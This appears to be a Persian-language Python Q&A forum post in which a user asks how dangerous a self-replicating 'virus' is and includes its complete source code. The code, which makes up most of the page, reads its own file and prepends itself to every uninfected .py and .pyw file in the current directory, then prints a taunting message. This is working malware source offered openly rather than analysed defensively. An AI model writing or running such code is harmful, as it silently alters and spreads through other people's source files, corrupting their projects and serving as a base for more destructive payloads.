ویروس

سوال شده توسط: محمد مهدی عظیمی

تاریخ ثبت: ۱۴۰۰/۰۷/۱۰

بازدید: 683

پاسخ: 1

تگ: پایتون


سلام استاد بنظرتون همچین ویروسی چقدر میتونه خطر ناک باشه ؟؟ برام مهمه!! ویروس قابلیت خود سازی دارد!؟
پاسخ ها
user

محمد مهدی عظیمی

# VIRUS SAYS HI!

import sys
import glob

virus_code = []

with open(sys.argv[0], 'r') as f:
    lines = f.readlines()

self_replicating_part = False
for line in lines:
    if line == "# VIRUS SAYS HI!":
        self_replicating_part = True
    if not self_replicating_part:
        virus_code.append(line)
    if line == "# VIRUS SAYS BYE!\n":
        break

python_files = glob.glob('*.py') + glob.glob('*.pyw')

for file in python_files:
    with open(file, 'r') as f:
        file_code = f.readlines()

    infected = False

    for line in file_code:
        if line == "# VIRUS SAYS HI!\n":
            infected = True
            break

    if not infected:
        final_code = []
        final_code.extend(virus_code)
        final_code.extend('\n')
        final_code.extend(file_code)

        with open(file, 'w') as f:
            f.writelines(final_code)

def malicious_code():
    print("YOU HAVE BEEN INFECTED HAHAHA !!!")

malicious_code()

# VIRUS SAYS BYE!
برای ثبت پاسخ باید خود شوید

محبوب ترین مقالات